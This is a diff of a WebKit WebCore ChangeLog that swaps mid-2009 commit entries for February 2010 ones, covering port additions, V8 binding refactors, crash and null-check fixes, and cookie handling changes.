-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::userAgentStatic):
-        (WebCore::PluginView::handlePostReadFile):
-        (WebCore::PluginView::init):
-
-2009-07-21  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by David Levin.
-
-        Added a first bunch of Haiku-specific files for WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=26988
-
-        * platform/haiku/ClipboardHaiku.cpp: Added.
-        (WebCore::ClipboardHaiku::ClipboardHaiku):
-        (WebCore::ClipboardHaiku::clearData):
-        (WebCore::ClipboardHaiku::clearAllData):
-        (WebCore::ClipboardHaiku::getData):
-        (WebCore::ClipboardHaiku::setData):
-        (WebCore::ClipboardHaiku::types):
-        (WebCore::ClipboardHaiku::files):
-        (WebCore::ClipboardHaiku::dragLocation):
-        (WebCore::ClipboardHaiku::dragImage):
-        (WebCore::ClipboardHaiku::setDragImage):
-        (WebCore::ClipboardHaiku::dragImageElement):
-        (WebCore::ClipboardHaiku::setDragImageElement):
-        (WebCore::ClipboardHaiku::createDragImage):
-        (WebCore::ClipboardHaiku::declareAndWriteDragImage):
-        (WebCore::ClipboardHaiku::writeURL):
-        (WebCore::ClipboardHaiku::writeRange):
-        (WebCore::ClipboardHaiku::hasData):
-        * platform/haiku/ClipboardHaiku.h: Added.
-        (WebCore::ClipboardHaiku::create):
-        (WebCore::ClipboardHaiku::~ClipboardHaiku):
-        * platform/haiku/CookieJarHaiku.cpp: Added.
-        (WebCore::setCookies):
-        (WebCore::cookies):
-        (WebCore::cookiesEnabled):
-        * platform/haiku/CursorHaiku.cpp: Added.
-        (WebCore::Cursor::Cursor):
-        (WebCore::Cursor::~Cursor):
-        (WebCore::Cursor::operator=):
-        (WebCore::pointerCursor):
-        (WebCore::moveCursor):
-        (WebCore::crossCursor):
-        (WebCore::handCursor):
-        (WebCore::iBeamCursor):
-        (WebCore::waitCursor):
-        (WebCore::helpCursor):
-        (WebCore::eastResizeCursor):
-        (WebCore::northResizeCursor):
-        (WebCore::northEastResizeCursor):
-        (WebCore::northWestResizeCursor):
-        (WebCore::southResizeCursor):
-        (WebCore::southEastResizeCursor):
-        (WebCore::southWestResizeCursor):
-        (WebCore::westResizeCursor):
-        (WebCore::northSouthResizeCursor):
-        (WebCore::eastWestResizeCursor):
-        (WebCore::northEastSouthWestResizeCursor):
-        (WebCore::northWestSouthEastResizeCursor):
-        (WebCore::columnResizeCursor):
-        (WebCore::rowResizeCursor):
-        (WebCore::verticalTextCursor):
-        (WebCore::cellCursor):
-        (WebCore::contextMenuCursor):
-        (WebCore::noDropCursor):
-        (WebCore::copyCursor):
-        (WebCore::progressCursor):
-        (WebCore::aliasCursor):
-        (WebCore::noneCursor):
-        (WebCore::notAllowedCursor):
-        (WebCore::zoomInCursor):
-        (WebCore::zoomOutCursor):
-        (WebCore::grabCursor):
-        (WebCore::grabbingCursor):
-
-2009-07-21  Albert Astals Cid <aacid@kde.org>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Change #error line not to have a ' (single quote)
-
-        * DerivedSources.cpp:
-
-2009-07-21  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by David Levin.
-
-        Add ENABLE_RUBY to list of build options
-        https://bugs.webkit.org/show_bug.cgi?id=27324
-
-        Added flag ENABLE_RUBY:
-
-        * Configurations/FeatureDefines.xcconfig:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/build-generated-files.sh:
-
-2009-07-21  James Hawkins  <jhawkins@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27467
-        Return an empty path in PlatformContextSkia::currentPathInLocalCoordinates
-        if matrix.invert() fails.  This prevents the use of an uninitialized
-        value in inverseMatrix.
-
-        No new tests added.  Run
-        LayoutTests/svg/dynamic-updates/SVGMarkerElement-dom-markerHeight-attr.html
-        under valgrind and notice there are no errors.
-
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::currentPathInLocalCoordinates):
-
-2009-07-21  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27388
-
-        Fix dotted and dashed borders on Chromium/skia.  This follows
-        the logic in the Cg path, so results are much closer to Safari now 
-        (some tests won't be exactly the same due to font layout differences).
-
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::drawLine):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintForStroking):
-
-2009-07-20  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Gavin Barraclough.
-
-        Make it harder to misuse try* allocation routines
-        https://bugs.webkit.org/show_bug.cgi?id=27469
-
-        Add forwarding header for PossiblyNull type, and add missing null check
-        to ImageBuffer creation.
-
-        * ForwardingHeaders/wtf/PossiblyNull.h: Added.
-        * platform/graphics/cg/ImageBufferCG.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-
-2009-07-20  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Guard access to installedMediaEngines()[0].
-
-        https://bugs.webkit.org/show_bug.cgi?id=27479
-        http://code.google.com/p/chromium/issues/detail?id=16541
-
-        Else where in the file, installedMediaEngines is always checked for
-        being empty because access. This patch adds a case which missed that
-        check.
-
-        This triggered a crash in Chromium:
-            http://www.yakeze.com/chat/example-chromium-crash/
-
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::MediaPlayer::load):
-
-2009-07-20  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Allow search entries to render with a CSS border if the RenderTheme
-        doesn't paint them.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27466
-        http://code.google.com/p/chromium/issues/detail?id=16958
-
-        <input type="search"> is very much like a text entry except that,
-        currently, if the RenderTheme doesn't deal with it, nothing is
-        rendered. With this patch, the default CSS border is rendered if the
-        RenderTheme requests it.
-
-        This will affect many layout tests, but only for Chromium Linux and
-        those results are not currently in the WebKit tree.
-
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::paintBorderOnly):
-
-2009-07-17  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Switch to faster methods to access internal fields.
-        https://bugs.webkit.org/show_bug.cgi?id=27372
-
-        Minor refactoring.
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertToSVGPODTypeImpl):
-        (WebCore::V8DOMWrapper::setDOMWrapper):
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
-        (WebCore::V8DOMWrapper::convertToNativeObject):
-        (WebCore::V8DOMWrapper::convertToNativeEvent):
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8ClipboardCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8ElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
-        (WebCore::removeElement):
-        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8NodeCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-20  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Chromium Linux: cache Harfbuzz faces.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27473
-
-        Previously, we recreated the Harfbuzz face for each script-run. With
-        this patch, we keep the Harfbuzz face in the FontPlatformData (created
-        as needed) and so they will persist for the duration of the
-        FontPlatformData.
-
-        Shouldn't affect any layout tests. Results in a significant win on the
-        intl2 page cycler time.
-
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::TextRunWalker::~TextRunWalker):
-        (WebCore::TextRunWalker::setupFontForScriptRun):
-        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
-        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::~RefCountedHarfbuzzFace):
-        (WebCore::FontPlatformData::FontPlatformData):
-        (WebCore::FontPlatformData::harfbuzzFace):
-        * platform/graphics/chromium/FontPlatformDataLinux.h:
-        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::create):
-        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::face):
-        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::RefCountedHarfbuzzFace):
-        * platform/graphics/chromium/HarfbuzzSkia.h: Added.
-
-2009-07-20  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Simon Fraser.
-
-        REGRESSION (r46142): Need to remove showTreeThisForThis
-        https://bugs.webkit.org/show_bug.cgi?id=27475
-
-        Removes showTreeThisForThis
-
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::IndentOutdentCommand::appendParagraphIntoNode):
-
-2009-07-19  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Refactoring of indentRegion to fix bugs 26816 and 25317
-        https://bugs.webkit.org/show_bug.cgi?id=26816
-        https://bugs.webkit.org/show_bug.cgi?id=25317
-        https://bugs.webkit.org/show_bug.cgi?id=23995 (partially)
-
-        This patch implements appendParagraphIntoNode, a simpler specialized version of moveParagraph
-        and replaces all calls inside indentRegion. The following is the new behavior of indentRegion.
-
-        1. We try to indent as many wrapping nodes as possible.
-           e.g. when indenting "hello" in <div>hello</div>, we try to indent div as well.
-        2. We do not delete any wrapping elements
-           With moveParagraph, we used to remove all wrapping nodes, and replaced with a blockquote.
-           This was causing https://bugs.webkit.org/show_bug.cgi?id=23995 for indentation.
-           With appendParagraphIntoNode, we can preserve all wrapping nodes.
-        3. We only split the tree until the closest block node instead of until the root editable node.
-           This behavioral change fixes the bug 25317.
-        4. When multiple paragraphs are indented, we indent the highest common ancestor within the selection.
-           e.g. when a list is a child node of a div, and the entire div is intended,
-                we enclose the div by a single blockquote.
-
-        Note that new behavior is more consistent with that of Internet Explorer and Firefox.
-        To demonstrate this, the following tests are added.
-
-        Tests: editing/execCommand/indent-div-inside-list.html
-               editing/execCommand/indent-nested-blockquotes.html
-               editing/execCommand/indent-nested-div.html
-               editing/execCommand/indent-second-paragraph-in-blockquote.html
-
-        * editing/IndentOutdentCommand.cpp: prepareBlockquoteLevelForInsertion is removed
-        (WebCore::IndentOutdentCommand::tryIndentingAsListItem): uses appendParagraphIntoNode now
-        (WebCore::IndentOutdentCommand::indentIntoBlockquote): uses appendParagraphIntoNode now
-        (WebCore::IndentOutdentCommand::appendParagraphIntoNode): removes a paragraph and appends it to a new node
-        (WebCore::IndentOutdentCommand::removeUnnecessaryLineBreakAt): removes a break element at the specified position
-        (WebCore::IndentOutdentCommand::indentRegion): exhibits the described behavior
-        * editing/IndentOutdentCommand.h: updated prototype
-
-2009-07-20  Dan Bernstein  <mitz@apple.com>
-
-        Try to fix release builds after r46136
-
-        * dom/Element.cpp:
-
-2009-07-17  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        Media Controls: We are specifying the text height, where it is unneeded and the slider is 2px off.
-        https://bugs.webkit.org/show_bug.cgi?id=27380
-
-        Adjust the margin of the slider and remove useless height specification to fix alignement of the media controls.
-
-        * css/mediaControlsQT.css:
-
-2009-07-20  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Mark Rowe.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27468
-        Back out r46060, which caused problems for some Apple developers.
-
-        * WebCore.vcproj/QTMovieWin.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/WebCoreGenerated.vcproj:
-
-2009-07-20  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        When loading a custom view into a frame, the old document is still
-        around
-        <rdar://problem/5145841>
-
-        Safari fires onload before PDF is loaded into the browser
-        <rdar://problem/6618869>
-
-        Test: fast/loader/non-html-load-event.html
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::ClipboardWin::writePlainText): Added.
+        * platform/win/ClipboardWin.h:
 
-        * GNUmakefile.am: Added PlaceholderDocument.{cpp,h}
-        * WebCore.gypi: Ditto.
-        * WebCore.pro: Ditto.
-        * WebCore.vcproj/WebCore.vcproj: Ditto.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
-        * WebCoreSources.bkl: Ditto.
-        * dom/Document.h:
-        (WebCore::Document::setStyleSelector): Added this protected accessor for
-            PlaceholderDocument to use.
-        * dom/Element.cpp:
-        (WebCore::Element::clientWidth): Check whether the document has a
-            renderer.
-        (WebCore::Element::clientHeight): Ditto.
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin): Create a PlaceholderDocument for frames
-            that do not use an HTML view. Do not nullify the content size in
-            that case.
-        (WebCore::FrameLoader::transitionToCommitted): For frames that do not
-            use an HTML view, call receivedFirstData(), which sets up the
-            frame with a new PlaceHolderDocument.
-        * loader/PlaceholderDocument.cpp: Added.
-        (WebCore::PlaceholderDocument::attach): Sets up the style selector but
-            does not create a RenderView.
-        * loader/PlaceholderDocument.h: Added.
-        (WebCore::PlaceholderDocument::create):
-        (WebCore::PlaceholderDocument::PlaceholderDocument):
-
-2009-07-20  Chris Marrin  <cmarrin@apple.com>
+2010-02-04  Steve Block  <steveblock@google.com>
 
-        Reviewed by Simon Fraser.
+        Reviewed by Nate Chapin.
 
-        Handle opacity and opacity animations on transform layers in Leopard
-        https://bugs.webkit.org/show_bug.cgi?id=27398
+        Fix bug in V8 convertNPVariantToJValue when converting float and double types
+        https://bugs.webkit.org/show_bug.cgi?id=34593
 
-        This makes two changes, and only for Leopard. 
+        No new tests, build fix only.
 
-        First, whenever opacity is changed on a layer I propagate the 
-        change into the content layer and all the children if the layer 
-        on which opacity is set is a transform layer (preserve3D is true). 
-        The opacity set is the accumulated opacity from this layer
-        and all its direct ancestor transform layers. Second, I turn off all 
-        hardware opacity animation.
+        * bridge/jni/v8/JNIUtilityPrivate.cpp: Modified.
+        (JSC::Bindings::convertNPVariantToJValue): Modified. Use correct members of 'result' enum.
 
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::accumulatedOpacity):
-        (WebCore::GraphicsLayer::distributeOpacity):
-        * platform/graphics/GraphicsLayer.h:
-        (WebCore::GraphicsLayer::setOpacityInternal):
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::setPreserves3D):
-        (WebCore::GraphicsLayerCA::setOpacity):
-        (WebCore::GraphicsLayerCA::animateFloat):
-        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
-        (WebCore::GraphicsLayerCA::setOpacityInternal):
-        (WebCore::GraphicsLayerCA::updateOpacityOnLayer):
+2010-02-04  Chris Guillory  <chris.guillory@google.com>
 
-2009-07-20  Yong Li  <yong.li@torchmobile.com>
+        Reviewed by Darin Fisher.
 
-        Reviewed by Adam Roben.
+        [Chromium] Notify ChromeClientChromium of AccessibilityObject state
+        change notifications.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34464
 
-        https://bugs.webkit.org/show_bug.cgi?id=27349
-        Add GraphicsContext implementation for the WinCE port.
+        * accessibility/chromium/AXObjectCacheChromium.cpp:
+        (WebCore::toChromeClientChromium):
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * page/chromium/ChromeClientChromium.h:
 
-        Written by Yong Li <yong.li@torchmobile.com>, George Staikos <george.staikos@torchmobile.com> and Lyon Chen <lyon.chen@torchmobile.com>
-        with trivial style fixes by Adam Treat <adam.treat@torchmobile.com>
+2010-02-04  Stephen White  <senorblanco@chromium.org>
 
-        * platform/graphics/wince/GraphicsContextWince.cpp: Added.
+        Unreviewed, build fix for Chromium.
 
-2009-07-20  Dumitru Daniliuc  <dumi@chromium.org>
+        Revert r54341 ("[v8] Remove clear method from DOM object maps"),
+        since it causes the worker tests to fail on Chromium.
 
-        Reviewed by Dimitri Glazkov.
+        * bindings/v8/DOMData.h:
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        * bindings/v8/DOMDataStore.h:
+        (WebCore::ChunkedTable::clear):
+        (WebCore::ChunkedTable::clearEntries):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::clear):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::ChunkedTableTraits::clear):
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::removeAllDOMObjectsInCurrentThreadHelper):
+        (WebCore::removeAllDOMObjectsInCurrentThread):
+        * bindings/v8/V8DOMMap.h:
+        (WebCore::WeakReferenceMap::clear):
+        * bindings/v8/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::~WorkerScriptController):
 
-        Adding the Win SQLite VFS implementation for Chromium, and stubs
-        for the Mac and Linux VFSs.
+2010-02-04  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26940
+        Reviewed by Xan Lopez.
 
-        * WebCore.gypi:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/sql/chromium/SQLiteFileSystemChromium.cpp: Added.
-        * platform/sql/chromium/SQLiteFileSystemChromiumLinux.cpp: Added.
-        * platform/sql/chromium/SQLiteFileSystemChromiumMac.cpp: Added.
-        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp: Added.
+        [GTK] Crashes when an invalid hostname is pre-fetched
+        https://bugs.webkit.org/show_bug.cgi?id=34602
 
-2009-07-20  Xan Lopez  <xlopez@igalia.com>
+        * platform/network/soup/DNSSoup.cpp:
+        (WebCore::prefetchDNS): NULL-check the SoupURI that is created
+        from the hostname; that will happen for invalid hostnames.
 
-        Reviewed by Gustavo Noronha.
+2010-02-04  José Millán Soto  <jmillan@igalia.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=27097
-        [Gtk] Segfault when examining an object of ROLE_TABLE via at-spi
+        Reviewed by Xan Lopez.
 
-        Check that an object is a RenderObject before trying to access its
-        renderer and related node.
+        [Gtk] webkitgtk crashed when Orca open
+        https://bugs.webkit.org/show_bug.cgi?id=34463
 
         * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_role):
-
-2009-07-20  Balazs Kelemen  <kelemen.balazs.3@stud.u-szeged.hu>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] font cache reworking
-        https://bugs.webkit.org/show_bug.cgi?id=27265
-
-        Reimplemented Qt's FontCache in a way that follows the shared one.
-        Now we can release its elements when those became inactive.
-        FontFallbackList had been changed to be able to hold WebCore fonts in its list and to be able to release a FontData what is in the cache.
+        (textForObject):
+        Checking if render objects are texts before calling toRenderText
 
-        No change in behavior, so no tests.
-
-        * platform/graphics/qt/FontCacheQt.cpp:
-        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
-        (WebCore::FontPlatformDataCacheKey::isHashTableDeletedValue):
-        (WebCore::FontPlatformDataCacheKey::): Key type for the cache of FontPlatformData objects.
-        It can be constructed from a FontPlatformData or from a FontDescription. The keys have to be consistent
-        with FontPlatformData::FontPlatformData(const FontDescription&) - if we create the same
-        FontPlatformData from two FontDescription then we have to create the same key from them, and vica versa.
-        (WebCore::FontPlatformDataCacheKey::operator==):
-        (WebCore::FontPlatformDataCacheKey::hash):
-        (WebCore::FontPlatformDataCacheKey::computeHash):
-        (WebCore::FontPlatformDataCacheKey::hashTableDeletedSize):
-        (WebCore::FontPlatformDataCacheKeyHash::hash):
-        (WebCore::FontPlatformDataCacheKeyHash::equal):
-        (WebCore::FontPlatformDataCacheKeyTraits::emptyValue):
-        (WebCore::FontPlatformDataCacheKeyTraits::constructDeletedValue):
-        (WebCore::FontPlatformDataCacheKeyTraits::isDeletedValue):
-        (WebCore::FontCache::getCachedFontPlatformData): Get a FontDescription and returns a FontPlatformData.
-        (WebCore::FontCache::getCachedFontData): Get a FontPlatformData and returns a SimpleFontData.
-        (WebCore::FontCache::releaseFontData): Get a SimpleFontData and releases it from the cache. Also releases the appropriate FontPlatformData.
-        (WebCore::FontCache::purgeInactiveFontData): Frees inactive elements.
-        (WebCore::FontCache::invalidate): Frees all inactive elements (call purgeInactiveFontData with default argument)
-        * platform/graphics/qt/FontFallbackListQt.cpp:
-        (WebCore::FontFallbackList::releaseFontData):
-        (WebCore::FontFallbackList::fontDataAt):
-        * platform/graphics/qt/FontPlatformData.h:
-        (WebCore::FontPlatformData::family): Getter. It is needed for FontPlatformDataCacheKey.
-        (WebCore::FontPlatformData::bold): Ditto.
-        (WebCore::FontPlatformData::italic): Ditto.
-        (WebCore::FontPlatformData::smallCaps): Ditto.
-        (WebCore::FontPlatformData::pixelSize): Ditto.
-        * platform/graphics/qt/FontPlatformDataQt.cpp:
-        (WebCore::FontPlatformData::FontPlatformData): Set m_bold.
-
-2009-07-20  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Holger Freyther.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26716
-        [Gtk] Each XMLHttpRequest leaks memory.
-
-        Free the SoupURI we create to check the URI. Fix suggested by John
-        Kjellberg.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::):
-
-2009-07-20  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        [Qt] On Symbian link against system sqlite3
-        https://bugs.webkit.org/show_bug.cgi?id=27368
-
-        Add an option to force linking against system sqlite3
-        by adding system-sqlite to the CONFIG variable.
-
-        The Symbian specific part of this patch is contributed by 
-        Norbert Leser.
-
-        * WebCore.pro:
-
-2009-07-20  Xan Lopez  <xlopez@igalia.com>
+2010-02-04  Xan Lopez  <xlopez@igalia.com>
 
         Reviewed by Gustavo Noronha.
 
-        Change the glib version check to check for the first unstable
-        release with g_mapped_file_unref. Otherwise this would be useless
-        until 2.22 is released, a few months from now.
+        Set first party URI in all SoupMessages. This allows libsoup to
+        implement a "no third party cookies" policy in case it wants
+        to. Also start a non-JSC-specific, gtk-specific GOwnPtr module and
+        use it for SoupURI.
 
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::setCookies):
         * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::ResourceHandle::startHttp):
-
-2009-07-20  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by and done with Tor Arne Vestbø.
-
-        Fix fast/css/pseudo-required-optional-*.html in the Qt build
-        after r46062.
-
-        These tests triggered a bug in RenderThemeQt where we did not fall back
-        to the unstyled painting of text areas and input fields when they have
-        a styled background.
-
-        Our re-implementation of isControlStyled incorrectly only checked the
-        border for determining whether to style or not. The base-implementation
-        performs the same check, but also includes the background. Removing
-        our implementation fixes the appearance.
-
-        * platform/qt/RenderThemeQt.cpp: Removed isControlStyled reimplementation.
-        * platform/qt/RenderThemeQt.h: Ditto.
-
-2009-07-20  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Rubber-stamped by Tor Arne Vestbø.
-
-        Add missing (sorted) header files to the HEADERS variable in the qmake
-        .pro file for improved completion in IDEs.
-
-        * WebCore.pro:
-
-2009-07-19  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by David Levin.
-
-        [V8] Factor V8ConsoleMessage out of V8Proxy
-        https://bugs.webkit.org/show_bug.cgi?id=27421
-
-        No behavior change.
-
-        * WebCore.gypi:
-        * bindings/v8/V8ConsoleMessage.cpp: Added.
-        (WebCore::V8ConsoleMessage::V8ConsoleMessage):
-        (WebCore::V8ConsoleMessage::dispatchNow):
-        (WebCore::V8ConsoleMessage::dispatchLater):
-        (WebCore::V8ConsoleMessage::processDelayed):
-        (WebCore::V8ConsoleMessage::handler):
-        * bindings/v8/V8ConsoleMessage.h: Added.
-        (WebCore::V8ConsoleMessage::Scope::Scope):
-        (WebCore::V8ConsoleMessage::Scope::~Scope):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::logInfo):
-        (WebCore::reportUnsafeAccessTo):
-        (WebCore::V8Proxy::runScript):
-        (WebCore::V8Proxy::callFunction):
-        (WebCore::V8Proxy::newInstance):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        (WebCore::V8Proxy::processConsoleMessages):
-
-2009-07-19  Rob Buis  <rwlbuis@gmail.com>
-
-        Reviewed by Adam Barth.
-
-        Remove unused member variable.
-
-        * svg/SVGPolyElement.h:
-
-2009-07-19  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        HTMLAudioElement: constructor should set "autobuffer" attribute
-        https://bugs.webkit.org/show_bug.cgi?id=27422
-
-        Test: media/audio-constructor-autobuffer.html
+        (WebCore::restartedCallback):
+        (WebCore::startHttp):
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::ResourceRequest::toSoupMessage):
+        (WebCore::ResourceRequest::updateFromSoupMessage):
 
-        * bindings/js/JSAudioConstructor.cpp:
-        (WebCore::constructAudio):
-            Set 'autobuffer' attribute.
+2010-02-04  Pavel Feldman  <pfeldman@chromium.org>
 
-2009-07-19  Thierry Bastian <thierry.bastian@nokia.com>
+        Reviewed by Timothy Hatcher.
 
-        Reviewed by Simon Hausmann.
+        Web Inspector: group cookies by domains, not frame's domains.
 
-        Fix the Qt build with mingw.
+        https://bugs.webkit.org/show_bug.cgi?id=34599
 
-        * WebCore.pro: Don't use MSVC commandline options to disable warnings
-        with mingw.
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView.prototype._cookiesForDomain):
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateResource):
+        (WebInspector._addCookieDomain):
 
-2009-07-19  Adam Barth  <abarth@webkit.org>
+2010-02-04  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by David Levin.
+        Reviewed by Dimitri Glazkov.
 
-        [V8] Phase 2: Remove event listener methods from V8Proxy
-        https://bugs.webkit.org/show_bug.cgi?id=27415
+        [V8] Delete V8CustomBinding.h and all references to V8Custom
 
-        No behavior change.
+        https://bugs.webkit.org/show_bug.cgi?id=32638
 
-        * bindings/v8/V8ObjectEventListener.cpp:
-        (WebCore::weakObjectEventListenerCallback):
-        (WebCore::V8ObjectEventListener::~V8ObjectEventListener):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::disconnectEventListeners):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::eventListeners):
-        (WebCore::V8Proxy::objectListeners):
+        * bindings/v8/NPV8Object.cpp:
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8NPObject.cpp:
+        * bindings/v8/V8Utilities.cpp:
         * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
-        (WebCore::getEventListener):
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::~V8EventListener):
+        * bindings/v8/custom/V8AttrCustom.cpp:
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        * bindings/v8/custom/V8CoordinatesCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h: Removed.
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
         * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
         * bindings/v8/custom/V8ElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8EventSourceConstructor.cpp:
+        * bindings/v8/custom/V8EventSourceCustom.cpp:
+        * bindings/v8/custom/V8GeolocationCustom.cpp:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::v8HTMLAudioElementConstructorCallback):
+        (WebCore::V8HTMLAudioElementConstructor::GetTemplate):
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::v8HTMLImageElementConstructorCallback):
+        (WebCore::V8HTMLImageElementConstructor::GetTemplate):
+        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::v8HTMLOptionElementConstructorCallback):
+        (WebCore::V8HTMLOptionElementConstructor::GetTemplate):
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        * bindings/v8/custom/V8InspectorFrontendHostCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
